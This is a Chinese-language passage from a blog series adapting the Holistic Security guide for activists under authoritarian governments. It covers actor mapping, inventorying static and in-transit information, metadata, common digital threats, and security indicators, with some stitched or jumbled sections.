您开展的活动、以及您在开展这些活动时的行为，决定了国家、社会和您周围其他人对您的看法。您如何与这些行为者“互动”，将决定他们对您的反应，并影响他们容忍、接受或拒绝您的工作并试图封锁您的工作空间的程度。

因此，清楚地了解您所处的环境中的所有行为者（个人、机构、组织等）是很有价值的。威胁几乎总是来自某个人或某件事。尽可能多地了解您所处环境中的行为者，可以提高您对环境的认识，从而提高您开展活动以维持或扩大工作空间的能力。

其中一些行为者可以被视为朋友或盟友，另一些行为者则是对手，还有一些行为者则处于中间位置，是中立的一方。📌 每个人都有自己的利益和资源，有可能帮助也有可能阻碍您的工作。

了解这些行为者是谁以及他们的行为如何影响您，将使您的安全计划受益。尝试完成下面的练习，以绘制您自己领域中的行为者及其与您的关系的性质。

练习

「图」

此练习的想法是开始一个过程，以可视化您自己、您的团队或组织、以及您与周围其他参与者的关系，包括直接、间接和潜在的未来联系。

在这部分，建议您把重点放在头脑风暴上，想想您身边的行为者都是谁，以及您与他们的关系强度（直接、间接或潜在）。在练习的下一步，您将扩展可视化或关系图谱，以包括您与他们的关系类型。

在团队中进行此练习时，您需要：

- 可以用来展示的挂板、白板
- 彩色信号笔或水笔
- 便签/便利贴

步骤如下。

写下或绘制可视化图谱 ——

「图」

在本练习中建议您使用便签或便利贴，写上行为者的名字，以便在背景中直观地映射他们、以及他们之间的关系。

1、从您自己或您的组织作为一个实体开始，集思广益，确定尽可能多的与您的工作有关的行为者 —— 这可以包括个人、团体、组织或机构；必要时考虑地方、区域、国家和国际行为者。

2、您挂在墙上的这块板子的中心位置应该是您自己、和/或您的目标群体，如果他们是可识别的话，重要的行为者围绕在周围。

3、考虑这些分类：

- 直接的 —— 就您试图影响的问题与您直接接触的人、团体、组织、机构。例如，谁可能与您为之工作的目标群体有直接关系，还有一些直接反对您工作的实体，他们直接挑战或对抗您。
- 您也可以将您周围的社区成员加入进来，包括您的家人和朋友，他们可能以某种方式支持或反对您的工作。
- 间接的 —— 这些可以包括与您一步之遥的人、团体、组织或机构。在上面的例子中，对于与您有直接关系的目标团体，他们也很可能与其他人有直接关系，于是后者这些人就成为了与您的间接关系。
- 潜在的/外围的 —— 与您的目标问题有关的人、团体、组织和机构，但您（目前还）与他们没有联系或关系。这方面的例子包括支持您的问题、但在您的背景下并不积极的国际机构。

📌 尽管您可能没有想到，但是您依然有必要将那些您需要依靠其来管理信息和交流的行为者包含进去。这些可以是：

- 您的电话服务提供商
- 您的互联网服务提供商
- 社交媒体帐户提供商
- 电子邮件帐户提供商

在下一个练习中将更详细地探讨这些参与者。

备注 ——

「图」

接下来的内容将旨在扩展您对这些行为者的了解，并利用他们来建立

对您所面临的威胁的分析。一旦您完成了这一练习，最好保留一份这些行为者的清单，供今后参考和阐述。

扩大认识

「图」

您可以将这些行为者分类3类：

1、盟友 —— 这些行为者与您的目标在战略上保持一致，尽管他们的支持力度和持续时长可能会随着时间而改变。

2、敌手或对手 —— 这些行为者的战略利益与您的利益相反，或出于各种原因以某种方式反对您的目标。同样，请记住，反对或脱离的强度可能随着情况的变化而变化。

3、中立方 —— 这些行为者既不支持也不反对您的事业；但是，他们的作用可能会随着形势的变化而改变。

将这些参与者想象成一个图谱可能会很有用：

这种 “盟友图谱” 经常被用于设计您的运动，以确定您想要影响的人。您也可以利用这个范围来进行安全规划，并促进国家和社会不同阶层对您的工作的认可，即 通过不同的宣传和参与。

📌 为了确定优先次序，您可以首先关注您所处环境中活跃的盟友和对手，并更深入地挖掘他们的动机和资源。当您分析潜在的（或实际的）威胁、以及谁在积极或无意中操控这些威胁时，这样做会很有用。然后，在绘制您周围的行为者之间的关系图时，您可能会看到可以用来改善您与对手关系的途径（例如，通过相互接触）。

映射角色之间的关系

「图」

下一步就是分析、确定、和具体说明行为者之间关系的性质。这对于确定其动机可能导致威胁到您或您的工作的行为者、以及可以依赖以帮助您更安全地工作的盟友，特别有用。

要做到这一点，请尝试以下练习。

本练习是在可视化行为者图谱的基础上进行的，第一部分是在图谱上标明行为者之间的关系，确定盟友、对手和中立方；然后，可利用第一步的结果来确定和分析您所处环境中可能代表有意（或无意）威胁来源的具体行为者。

您需要；

- 基本的行为者关系图谱（来自上一个练习）
- 纸和彩色记号笔或钢笔
- 彩色便利贴

步骤

「图」

考虑您和团队目前为止能想到的所有行为者：

1、根据这些行动者与您的工作之间的关系的性质 —— 盟友、对手、中立、未知 —— 来标注他们。您可以使用不同颜色的便利贴、或安排不同位置来实现，比如 盟友在左边、对手在右边、中立者在中间等。

2、在这张图上的每个行为者周围画一个圆，其大小可以与其在社会政治背景下的权力和资源相对应。

3、把您自己放在这张图上，把您与您有关系的任何行为者之间建立联系。

使用下面的示例表示这张图上的角色之间存在的不同类型的关系。包括：

- 亲密关系：行为者之间保持积极的关系；
- 联盟关系：参与者之间相互协调并共同行动；
- 弱关系或未知关系：几乎没有联系的关系，或者本质上性质未知的关系；
- 冲突关系：两个行为者之间有敌对关系；
- 暴力冲突关系：这种关系的特征是一方或双方都遭受身体（潜在武装）暴力；
- 从属关系：一个行为人对另一个行为人有权力，可以指挥他们做某事，例如 受武装部队控制的准军事集团、私人维稳公司等；

- 相互依赖关系：两个实体以某种方式彼此绑定；

备注和技巧

「图」

定期重新审视并反思您创建的图谱，并对您进行的任何有必要的添加、删除、或更改都是很有用的。您一定记得，定期进行重新评估和更新非常重要，尤其是在采取新的措施之前。

其他行为者信息图表

「图」

对于每一个盟友和对手 —— 请优先考虑积极的盟友和对手 —— 您可以详细说明他们与您的工作关系的性质，并建立一个信息表，提供关于他们的动机、他们的利益、他们与您的关系史、以及他们的资源（物质、财政、人脉或其他）的进一步信息。

该信息表将帮助您：

- 确定激发他们立场的潜在利益和关系。他们为什么和您站在一起？或者，为什么反对您？别怕说实话，说实话很重要，尤其是对于您的支持者的分析；
- 确定他们拥有和运用的资源和策略，这些资源和策略如何帮助您、或阻碍您的工作。

还应思考他们在更广泛的社会政治背景下的地位，以及他们可能从该地位中获得哪些特权和资源。

📌 必须指出，这些动机和资源将随着时间的推移而变化。随着新信息的出现，您应该定期更新这一分析。此外，非常重要的是，要考虑信息来源可信度：无论是通过个人接触、非正式关系网络、当地媒体还是其他。

最后

「图」

您可以将行为者图谱存储在可以定期查看和更新的地方：虽然一开始您可能会以可视化方式进行操作，但随后您可以创建一个文档，如 电

子表格，您可以在其中保持关于图谱中确定的关键行为者的最新信息。

在考虑您的安全策略和新出现的威胁时，这样做是很有用的。

在对您的社会政治环境有了很好的了解之后，现在就应该开始考虑到您的数据和信息对您的工作和安全意味着什么了。

下一集我们将进入这个重要步骤。〇

—— 未完待续 ——

原文

夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产 - iyouport

整体安全！-课程和训练

【2020年11月24日】敏感人士信息的安全至关重要，事关本人和相关一群人的生命安危；因此如何保护信息的问题可能会引起焦虑。有效且及时更新的信息安全策略可使您放心地专注于自己的反抗目标、并以健康的方式开展工作。

恐惧来自未知。

人们只会害怕那些自己没有充分了解的东西，黑暗和模糊会产生可怕的联想。

人们看到的往往只是抓捕、迫害、骚扰、各种惩罚手段，人们被吓坏了，开始认为“对手无比强大”，甚至“不论如何我都无法逃脱”。这并无助于解决问题，相反，却给了您的对手一个肆意妄为的机会。

未知带来的恐惧会让您陷入困境。

本系列内容希望引导您和您的组织通过分析拨开迷雾，点亮那些黑暗的角落；当您对自己和对手有了一个全面了解的时候，您才有希望进入精力充沛的对战状态。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务”不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》

作为敏感人士，为了全面了解您的安全状况，就必须将您的信息作为您在工作中产生的和使用的重要资产，来仔细研究它与您的安全的关系。

本集内容将鼓励您系统性地绘制信息概况，并探索对其完整性的威胁，从而得出保护它的最佳方法。

首先需要了解的是，当在工作中谈论 “信息” 或 “数据” 时，它指的是许多东西，例如：

- 您工作的产物；报告、数据库、图像、语音和视频记录；
- 运营信息；例如您的短信、文件和进度报告以及其他办公信息和通讯；
- 可以将您识别为某个组织成员或专业联盟成员的个人信息；
- 您在工作时通过使用数字设备生成的数据 即“元数据”，可用于跟踪您的活动或监视您的私人关系。

📌 这些信息可以以多种方式储存和传播，一旦被人获取，就会让您的对手对您的行动和团队关系有一个令人震惊的全面了解。

这就是为什么它必须是非常宝贵的资产，必需谨慎对待。随着敏感人士越来越多地接触数字技术，特别是近年来，你们的对手对进入你们的设备或截获你们的数字通信越来越感兴趣。

📌 不幸的是，敏感人士得到的帮助经常是错误的和过时的，大多数最流行的数字工具几乎不能保护您的信息免受资源充足的对手的攻击 —— 比如政府和间谍。并且，您需要知道，您的一些对手很可能与提供您的软件或在线服务的公司或机构有着秘密且密切的合作关系 —— 请思考斯诺登文件，以及您在中国了解到的同类事；因此，将这些供应商也添加到您的行为者图谱中是很必要的。

🔐 因此，敏感人士尤其需要学习数字技术的基本运作方式，提高自己的数字素养，这是您的行动主义中重要的且有力的一步。

常见威胁

「图」

1、数据丢失 —— 由于计算机卫生状况不佳、恶意软件感染、断电或硬件老化，计算机和其他设备有时会停止工作，从而导致丢失数据。

2、账户入侵 —— 有时，您的密码或“秘语”并不是很难破解，或者您遭受到网络钓鱼攻击（可能是随机的或特别针对您的），并在不知情的情况下将凭据泄漏给了第三方，继而被攻击者访问您的电子邮件或社交媒体帐户。

3、设备被警察没收或被盗 —— 电子设备是小偷最看重的目标，因为这里面远不止物件本身的价值。在威权国家生活的人，比如中国人，尤其需要注意的是警察和国安部门强行拿走你的电子设备。应对这点的方案见如下系列：

- 《来自人身的威胁：如何在敌对环境中保护自己（1）》
- 《最低程度的技术性获得最大幅度的安全提升：如何在敌对环境中保护自己（2）》
- 《手机应该有且只有一个用途：在敌对环境中保护自己（3）》
- 《为最坏的情况做准备，迎接最好的结果：在敌对环境中保护自己（4）》

此外，如果您的工作面临严峻的风险，您的办公室和住所可能会遭到国家或非国家行为者的袭击，计算机、手机、硬盘驱动器、USB密钥和服务器，都可能会被“没收”或被盗，以进行所谓的数字取证。

- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》

4、强行搜查 —— 中国人对于查手机应该再熟悉不过了，这在其他国家也是如此，尤其是过境点，比如美国。敏感人士可能会在越过边境或军事检查站时被暂时没收电子设备，这一过程中可能会复制您的数据、甚至更糟的是计算机可能感染了间谍软件或连接了硬件键盘记录程序。

5、信息被移交 —— 如果警察能拿到传票，互联网服务提供商以及您使用的电子邮件和社交网站的提供商，就必须将您的数据移交给某些政府机构。这种情况正在根据商业和政治利益而不断变化，随时都会发生。

6、追踪监视 —— 数据经纪人、互联网服务提供商、电子邮件提供商、和许多其他公司，一直在通过收集和汇总您的在线活动的详细信息，对普通人群进行监视和操纵。这就是监视资本主义。

它将所有人变成深入的监视目标，当然也包括敏感人士。

- 定向广告不是简单的事，您需要了解的监视资本主义工作方式，见《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》

7、被恶意软件瞄准 —— 有针对性的恶意软件是一个正在快速发展的行业：一些国家机构和其他组织花了很多钱投资那些旨在诱使敏感人士下载并随后允许攻击者访问其设备上的大部分或全部数据的软件。

并且，这些武器级的间谍软件一直在基本不受阻碍地出口。具体内容见：

- 专栏 “以色列和NSO”
- 《Report：以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》
- 《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》

📌 敏感人士信息的安全至关重要，事关本人和相关一群人的生命安危；因此如何保护信息的问题可能会引起焦虑。有效且及时更新的信息安全策略可使您放心地专注于自己的反抗目标、并以健康的方式开展工作。

要做到这一点，第一步就是要对您的信息的所有实例或版本进行尽可能编目。

对您自己的信息 “生态系统” 中存在的元素有一种心理上的理解，将有助于摆脱将 “信息” 视为模糊的海量数据的认识，而将其更好地理解为有形且重要的资产。

通过将您的信息分类为各种组成部分和类型，您可以确定自己的信息可能或不可能变得脆弱的任何潜在情况和途径，以及需要改进其安全性的领域。

📌 此过程取决于先前文章中介绍的练习的结果，在此过程中，您已经确定了背景中的 “参与者”，包括您自己、盟友、反对者、和当前的中立方。您可能会回溯并扩大参与者图谱，以通过信息映射过程确定

潜在的新参与者。

这就是为什么要建议您按照顺序阅读本系列内容，因为内容是进阶的。

该图谱还将有助于理解您的信息要素与您的盟友和对手及其意图和能力之间的关系。

接下来将介绍一些关键概念，以了解如何对您的信息进行分类，然后进行“信息生态系统”练习，这将有助于您绘制最重要的信息资产的图表。

信息类别

「图」

📌 制定信息安全策略的第一步是了解您所拥有的全部信息、这些信息所在的位置、以及如何从一个地方转移到另一个地方。

开始此分类过程的一种简单方法是根据动态的和不动的状况来思考。例如，存储在文件柜中的财务信息（静止不动的信息），在即将发生的事件中通过移动电话交换的消息（动态的信息）。

这种区别主要用作组织原则，以帮助进行分类。重要的是要记住，当今您的许多信息都是数字形式的，并且随着互联网和远程存储服务（即所谓的“云”）的使用不断增加，您拥有的许多信息都在运动中。

同样，由于手持设备（例如智能手机和平板电脑）的日益普及，存储容量的增加以及这些设备的实际移动性，存储在此类设备上的任何信息（尽管可能是数字“静止”的）实际上都是在物理空间中移动。

值得重复的是，在以上分类中，您的通信（例如电子邮件、聊天、短信、和电话）是“运动中的信息”，并且这是非常普遍的，尤其是在通过互联网保持近乎恒定的连接的情况下。

当您决定采用策略以更好地保护自己的信息时，这种组织原则就很有用，因为有多种方法可以保护静态信息和动态信息。

静态信息 ——

「图」

一旦确立了愿景，您就必须考虑可以采用什么样的方法来实现它。

您可能会以个人或组织的身份开展各种各样的活动，以实现反抗目标。您的“工作领域”或从事的活动是什么？重要的是要明确列出它们，并首先考虑它们是否适合实现您设定的目标。

您的工作不是在真空中进行的，而是在丰富多样的环境中，通常会具有一些冲突的特征。您的行动策划是您与这场冲突以及您试图影响的国家和社会的“接口”；是您试图改变周围环境中各种行为者（个人、机构和组织）的状况、看法和行为的手段。其中一些参与者将从中受益，相信并支持您的行动；但是其他人会觉得这些行动不符合他们的利益，并会试图缩小和压制您的工作空间。

所有这些通常都可以提供有关个人、项目、运动或组织的信息源，因此，盗窃和没收计算机、手机和存储设备是镇压敏感人士的常见策略。

在整理您的“静态信息”列表时，请考虑下面这些问题：

- 这些信息在哪儿？
- 谁有权访问这些信息？
- 这些信息的内容对您、您的组织或文档中提及的任何人员 —— 例如目击证人或受害人 —— 有多敏感？
- 保留这些信息有多重要？
- 应该保留多长时间？

动态信息 ——

「图」

如前所述，您拥有的许多信息资产 —— 尤其是数字形式的信息资产 —— 在某个时候从一个地方传输到另一个地方。请考虑您的信息移动的所有方式：

- 装满文件的盒子，通过快递投送
- 通过移动网络拨打的任何电话
- 在线上传到某个服务器的任何视频
- 参加抗议活动时手机中的任何联系人信息

如上，您可以看到信息移动的各种方式：在物理空间中传播的物理信息，或在互联网上传输的数字信息，或在物理空间中移动的数字信息

（存储在物理设备中的数字信息）。

还应该注意信息移动的不同方式：

1、传输：无论是在办公室工作期间，还是通过互联网将附件发送给同事，或者将敏感文件备份到另一位置的服务器时，您的信息都从一个点传输到另一个点。

2、交流：当您与同事、盟友、公众甚至反对者互动时，就会发生信息交换。通信可以采取以下形式：在事件发生时从扬声器宣布指令，或者在电话交谈、视频通话、面对面的会议、电子邮件、短信等途径交换机密信息。

您的交流中包含许多有关您的意图、您的行动状态、您的计划和未来活动的信息。

要对此类信息进行分类，除了上述“静态信息”中提到的属性外，您还可以考虑以下内容：

- 信息如何传输？
- 采取的是哪种物理或虚拟路线？
- 谁可能在信息传输途中访问它，或者谁会对捕获它感兴趣？（考虑您在前文的练习中构建的行为者图谱）

数字形式的信息

「图」

与数字形式的信息相关的一些独特属性值得考虑：

1、复制：不断复制数字形式的信息。在文件传输、电子邮件交换、上传和下载期间，甚至当从一台设备移动到另一台设备时，都会创建信息的副本，这些副本的所有意图和目的都与原本相同。

这与前数字时代稍有不同，前数字时代有可能（尽管有时困难）区分原始信息和随后的副本（例如，在纸上直接打字的会议记录）。

2、信息的“永久性”：如上所述，一旦将一条信息上传到互联网，上传、传输和下载的过程中就需要多次复制此信息。因此，您的信息可能会遍历您无法控制的互联网部分而保留在某处。

当邮件服务器、路由器和其他中介复制信息以帮助传输过程或出于其

他目的（取决于控制设备的人的意图）时，就会发生复制和中继。因此，重要的是要理解，信息传输中的一个（或多个）参与者将在很长时间内保留某条信息的副本，不论是有意的还是无意的。

例如一条短信，它是从一个手机发送到另一部手机的，但是在发送过程时，它会通过多个蜂窝塔和属于服务提供商的其他基础设施。服务提供商可以访问这些消息，并且在大多数情况下，无论您是否从自己的手机中删除它们，它们都会保留很长一段时间。

3、元数据：随着计算机和数字设备执行其操作，会创建一层 “元数据”。此信息随数据本身一起提供，有时无法将其从数据中删除。

元数据的示例包括：

- 您的IP地址（用于确定您要连接到互联网的位置）以及您访问的网站的IP地址。
- 移动电话从一个点移动到另一点时的位置数据，即SIM卡和手机的唯一标识符（IMEI码）。通常无法更改手机的IMEI。
- 电子邮件的发件人、收件人、时间戳和主题，以及它们是否包含附件。由于服务器需要知道向谁发送电子邮件及其附件，因此无法删除此信息。但是，其中一些可以更改或模糊化。
- 图像文件的属性，即 有关照片拍摄位置、大小和用于产生图像的设备的信息（相机和镜头的品牌、用于编辑图像的软件等），某些信息可以使用图像处理软件删除。
- 文档的属性，即 有关作者的信息、文档的创建或修改日期等。可以通过更改文字或电子表格处理者的个人隐私设置、或使用元数据剥离软件（例如元数据匿名化工具包）来删除某些此类信息。

元数据经常被忽略，因为它不是您自己创建的，甚至可能没有意识到的。但是，在考虑您的信息生态系统的不同元素时，应该牢记它的存在并采取适当的步骤来了解其范围和可能产生的后果。

通过数字渠道了解动态的信息

「图」

当考虑通过数字渠道传播的信息时，上述属性起着重要作用，因为信息可以很容易地复制和存储。

当您：

- 使用您的设备进行交流；通过手机通话、发送电子邮件、使用IP语音通话、视频聊天、即时消息或发送短信
- 传输数据；将视频上传到网络，访问计算机上的网页，将文档备份到其他地方的服务器，在社交媒体上发布更新 ……

通过数字渠道传播的信息几乎总是在物理空间中移动，例如从您的手机开始的状态更新将进入社交媒体网站，该网站实际存储在特定位置的服务器上。甚至一路上可能会经过许多不同的国家。为了考虑可以确保信息安全的方式，就必需考虑信息的来源、目的地以及信息的路径。https://holistic-security.tacticaltech.org/media/chapters/pdfs/original/HS_2_Explore_Chapter_4.pdf

虽然您可能知道信息的来源 —— 例如 在笔记本电脑上键入电子邮件，但还需要注意信息的目的地 —— 例如，通过其邮件提供商的您的同事/朋友的收件箱，以及沿途的所有站点， 包括：

- 互联网服务提供商
- 运营互联网基础设施并传输您的数据的电信公司
- 在数据和元数据通过互联网传输时进行主动捕获和监视的国家实体
- 对这些站点和网络服务具有控制权的任何其他实体，是否可能对捕获数据感兴趣
- 其他第三方（例如广告公司）可能会收集有关您在线活动的任何数据

📌 花点时间学习或复习互联网和移动通信工作原理的基础知识，有助于阐明这一过程。这样做可以减少因被监视而导致的焦虑或毫无根据的恐惧。

还应考虑包括用于保护数据的加密类型（如果有的话）。加密是为减少可以访问某些信息的人数的技术手段。它通常由服务提供商（例如银行网站或某些通讯应用程序）提供；您也很有必要学会使用特定软件对您的信息或通讯进行加密，以确保不会被未知的人访问。

您可以据此分析在您的行为者图谱中添加一些内容。您可能会发现自己需要调查这些行为者与您的盟友或对手之间是否存在任何关系。返回行为者图谱，令其包含以下内容：

- 您的互联网或网站服务提供商
- 您的电话服务提供商
- 您的电子邮件和社交网络服务的提供商

- 与上述内容有关系的任何相关实体（例如政府机构）

在下一部分中，您将通过练习映射 “静态” 信息和 “动态” 信息，这将帮助您确定信息管理实践中的差距以及弥合这些差距的方法。

映射您的信息生态系统

「图」

如上可见，创建并维护您或组织的信息图是一个有用的练习，该信息图将您的文档和与您的工作有关的信息归类。这将帮助您了解敏感信息的当前状态、以及谁可以访问它，这样才可能采取最有效的措施以保护它。

该 “信息图” 可以采用可定期更新的文本文档或电子表格的形式。以下练习将逐步完成创建此类文档的步骤，并提供一个可能有用的示例模板。

创建信息图时，请考虑以下问题：

1、这是什么信息？

这里的组织原则是将相似类型的信息组合在一起。例如，您可以确定所有财务凭证都属于同一类别，而并非所有电子邮件都属于同一类别。

根据信息类型对 “内容” 进行分组，很大程度上取决于您和您的组织的工作方式。也包括您在此处使用的软件，因为该软件本身可以被视为一堆信息，并且某些软件可以被视为敏感软件。

特别是对于 “动态” 信息来说，最好包括某些文档和通讯的元数据（例如图片和电子邮件附件），并考虑是否需要删除或修改它以保护您的隐私。

2、它在哪？

您的信息资产存放在哪些物理场所或实体中？这可能包括：办公室中的文件服务器、服务提供商处的Web服务器、电子邮件服务器、便携式计算机/电脑、外部硬盘驱动器、SD卡和移动电话。

3、谁有权使用它？

考虑当前的情况，而不是理想中的情况。例如，如果某人在办公室计算机上保存了报告文件夹，则有权访问该报告的人员可能包括：该人本人、负责维护服务器的任何IT管理人员、该人的知己等等。

4、它有多敏感？

有多种方法可以对文档的敏感性进行分类。为敏感信息建立明确的分类是必要的，别忘了带有关于如何保护它的明确说明。此处的目的是使您拥有一个始终如一地适合您的信息的量表，这将有助于识别最有可能受到威胁的数据以及应采用的保护方法。

📌 以下是一个3级规模的示例：

- 严格保密：只有特定的人才能访问此信息。对于此类信息有明确的责任链。
- 机密：此类信息不是供公众使用的，但是没有特定的必要以阻止组织的员工访问这些信息。
- 公开：此类信息不会对公众构成任何风险。但是，一般政策仍然涉及其完整性和安全性。

值得注意的是，在项目的生命周期中，所涉及数据的敏感性可能会发生变化。例如，如果您正在调查酷刑以便稍后对其进行公开报告，则其中涉及的许多细节最初都是严格保密或机密的。

在项目的后期，一旦收集了数据，必须保密的数据将与必须作为报告的一部分公开的数据分开。

根据这些问题考虑您的信息，您可以创建一个文档，该文档代表您当前的信息图。再一次，如前所述，请务必记住这是实时文档，应定期更新。

练习

「图」

本练习的目的是对您管理的最重要的信息资产进行清点，以便为以后的保管创建最有效策略。

要开始练习（尤其是在小组中进行时），可以使用电子表格、大张纸和便笺或其他一些能让团队轻松进行头脑风暴并将其组织在一起的方法。集思广益并列出您管理的所有数据。

📌 如果不确定从哪里开始，请考虑：

- 与您的 *每项* 敏感行动有关的数据
- *个人* 数据和文件，特别是存储在工作用计算机上的数据
- *在线浏览行为*，尤其是敏感数据的在线浏览
- 与敏感活动有关的任何电子邮件、短信和其他形式的通讯

想象一个电子表格，其中有几列类别，如下所述；您的任务是在行中填充信息。从静态信息开始，对于每种类型的信息，请详细说明以下内容：

- 这是什么信息？
- 它驻留在哪里？
- 谁有权使用它？
- 它的敏感程度如何 —— 严格保密、机密、公开；
- 保留它有多重要？
- 谁有权使用它？
- 应该如何保护它？
- 销毁前应保存多长时间？

您可以重复相同的过程，并使用其他条目扩展电子表格。例如数据传输（物理的、电子的），通过互联网或电信网络的通信。下面的示例表格可能会帮助您解决此问题。*https://holistic-security.tacticaltech.org/media/chapters/pdfs/original/HS_2_Explore_Chapter_4.pdf// https://holistic-security.tacticaltech.org/media/chapters/pdfs/original/HS_2_Explore_Chapter_4.pdf* 此过程是迭代的。完成第一轮后，您可以检测模式和分组。例如，您可能决定，由于所有财务信息（无论类型如何）都具有相似的敏感度和寿命，因此您可以将它们分组并将其视为财务信息类别。 相反，您可能会发现自己需要将一行扩展为几行。例如，包含“电子邮件”的行需要扩展为几行，以说明敏感的部分电子邮件及其安全保存。 这应该是一个实时更新的文档，并且会根据您所处环境的变化和发展而变化。定期检查此文档很重要。 此时，您已经拥有描述您/您的组织的信息生态系统的初始文档，该文档以及参与者的图谱在您开始了解自己的力量和弹性以及可能存在弱点的领域时，将非常宝贵。 然后，您可以开始绘制从已确定的安全指标到特定威胁场景，再到设计策略、计划、工具和方式的路径，这些路径可以帮助您避免这些类型的场景或将其影响最小化。 *!!!*最后 「图」 到现在为止，您已经做到： * 列出了自己的盟友和对手，以及根据情况可能成为盟友或对手的中立群体 * 列出了您、您的盟友和对手之间已经建立的一些关系 * 建立了您自己的信息生态系统，该文档可帮助您了解信息敏感度的优先顺序，不论是静态

信息还是动态信息。 下一集的内容将把这些分析转移到工作过程中遇到的威胁指标上，这些指标会提醒您潜在的威胁以及如何将您对这些威胁的知识系统化以采取行动。〇 —— 未完待续 —— 原文

每一种变化都有原因，您需要及时抓取威胁信号 – 整体安全（5）- 紧贴时局 - iyouport

整体安全！-课程和训练

【2020年12月1日存档】围观美国的选举对中国人来说有什么用？中国的反抗者需要从其他国家的抗议运动中了解到什么？

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》
- 《夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产》

📌 本系列内容需要按顺序阅读，因为后面的内容将使用前面的内容中帮助您构建好的工具和基本措施。

在前面的内容和练习题中，您已经学会了如何通过分析您自己和您的对手 —— 从人到信息资产 —— 来确定最合理的保护措施所需要采取的逻辑；本集将开始和您一起分析更深入地分析威胁本身，之后才能真正进入行动。

利用指标，识别和分析威胁

「图」

帮助敏感人士监测安全状况的另一个重要工具是安全指标。安全指标是指您注意到的、可能对您的安全产生影响的任何异常情况。

还记得我们在“灾难中幸存”系列中强调的“态势感知”吗？这是类似的意思；尤其是，您需要确立一个“基准线”，在这条红线以内的是安全信号，超出它就是危险信号。

📌「幸存者」系列是在帮助您在现实中躲避灾难，「整体安全」系列则是专注于敏感人士 —— 活动家、异议、记者、律师、人权维护者、以及任何生活在警察国家和专制国家并希望保护自己的普通人，它的内容从在线到现实全面涵盖。它们有部分相似的思考方式。您可以在下面回顾上述两个概念：

- 《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》
- 《准确的情报和判断：基准线—在灾难中幸存的方法（2）》

📌 安全指标可以包括具体的事件，如：收到直接宣告的威胁、对合作伙伴组织的攻击，或您可能注意到的某些身边人的可疑行为；并且，它也包括更微妙的发展，如：您的设备状况的变化，或您的身体健康状况和心理健康状况的变化。

简单解释一下。关于您的电子设备状况的变化可能会预示着恶意软件感染、隐藏的监视状态被一些细节所暴露，您可以在这里看到简单的“基准线考察”方法：《如何识别手机上的恶意软件？》。

和电子设备一样，您的身体健康状况的改变也会预示着哪里出了问题，您应该定时体检、及时就医，一旦发现问题请仔细回想最近您接触过什么新的东西、是否服用了什么药物或改变了常规药物的使用，以尽可能寻找原因。

心理健康状况就更微妙了，我们每个人的心态都会随机地变化，但是，有些变化将预示着威胁或压力的出现。比如，您没有发觉自己的心态变得不那么积极了？曾经很有灵感，现在却似乎失去了斗志，觉得自己做什么都是无用的？身边的熟人变得冷漠？…… 您需要找找原因，是什么造成的这种情况。

是因为您发布的动员无人关注吗？有没想过为什么会这样，分析一下您的推文数据，您是否发现与您的粉丝数量严重不成比例？这是否意味着您正在遭受影子禁令 —— 您的发布内容被限制阅读了？或者，您身边的人原本很亲近，却忽然冷漠起来了，在疏远您，您做了什么被他人误解的事吗？还是，有渗透者在背后制造内部矛盾、抹黑您的计划和立场、误导您的队友的认知？…… 找出那个人。

再比如，我发布一条推文：“如果您讨厌警察，请转发本帖”。作为99%的我们这些老百姓，几乎每个人都讨厌警察 —— 那些1%的走狗；但您会转发这条内容吗？如果您不会转发，可能的原因是什么？# 比如，您也许不信任我，因为我不是您在现实中认识的熟人，您会担心我通过这样的动员收集您的意向，并顺藤摸瓜挖掘您的身份信息；您可能会因为表达了心意而惹上麻烦；

- 想想看为什么您会产生这样的下意识回避？您曾经遇到过这种钓鱼吗？或者您身边的人遇到过？再或者，您通过IYP的内容了解到了“社交媒体情报”这种东西有多可怕？
- 而现在我是一名活动家，我正在动员人们反击警察暴力、酷刑和强迫失踪的侵犯人权行为，如果上述担心在很多人心中存在，人们不会转发我的发布，这次动员就是失败的。
- 您和我都需要对此进行思考：我需要思考为什么您会害怕转发？对于您的担心，我能做些什么？（从帮助您尽可能匿名地使用社交媒体、到分身技巧、到动员策略）；您需要思考担心从何而来？可以采取什么措施以打破这种危险性？…… 这样，您和我的思考就能走入同一个方向。

1. 使用反恶意软件程序扫描设备；

- 检查您的防火墙；
- 检查您的计算机是否有未经授权的进程或程序；
- 尽可能对在线服务使用两步验证；
- 如果设备必需离身，在设备上进行物理标记或使用防篡改带，并对其进行拍照，以帮助您验证是否被人动过（尽可能不要让设备离身）
- 不要错过《我的设备好像被黑了怎么办？—— 给敏感人士和小白朋友的数字急救包》

1. 吃早餐的时候您在哪

- 您如何到达办公室？乘坐什么车，与谁一起，通过哪些区域？
- 当您上班时会带什么电子设备？还携带哪些其他东西（钥匙、皮夹…）？
- 您在哪里工作，还有谁？您如何工作，以及使用什么设备？
- 如果您在工作期间吃午餐或晚餐，请将其包括在内。您给自己多长时间以及在哪里吃饭？
- 您什么时候停止工作？如果您不在家工作，您如何回家？走哪条路？
- 您通常几点睡觉？睡前做什么？

- 除了工作和家庭，您经常在哪里度过业余时间？

1. 您驾驶的车辆：是否有任何被动过的迹象（车轮、刹车、方向盘等）？

- 您上班的路线：这些区域中是否有危险？是否值得检查一下是否存在被跟踪？
- 您的办公室或工作区：到达时和离开前，一切东西都在适当的位置吗？门窗是否锁好？
- 紧挨着您的房屋或办公室的空间：这里是否有陌生人、警察、或陌生的车辆出现？

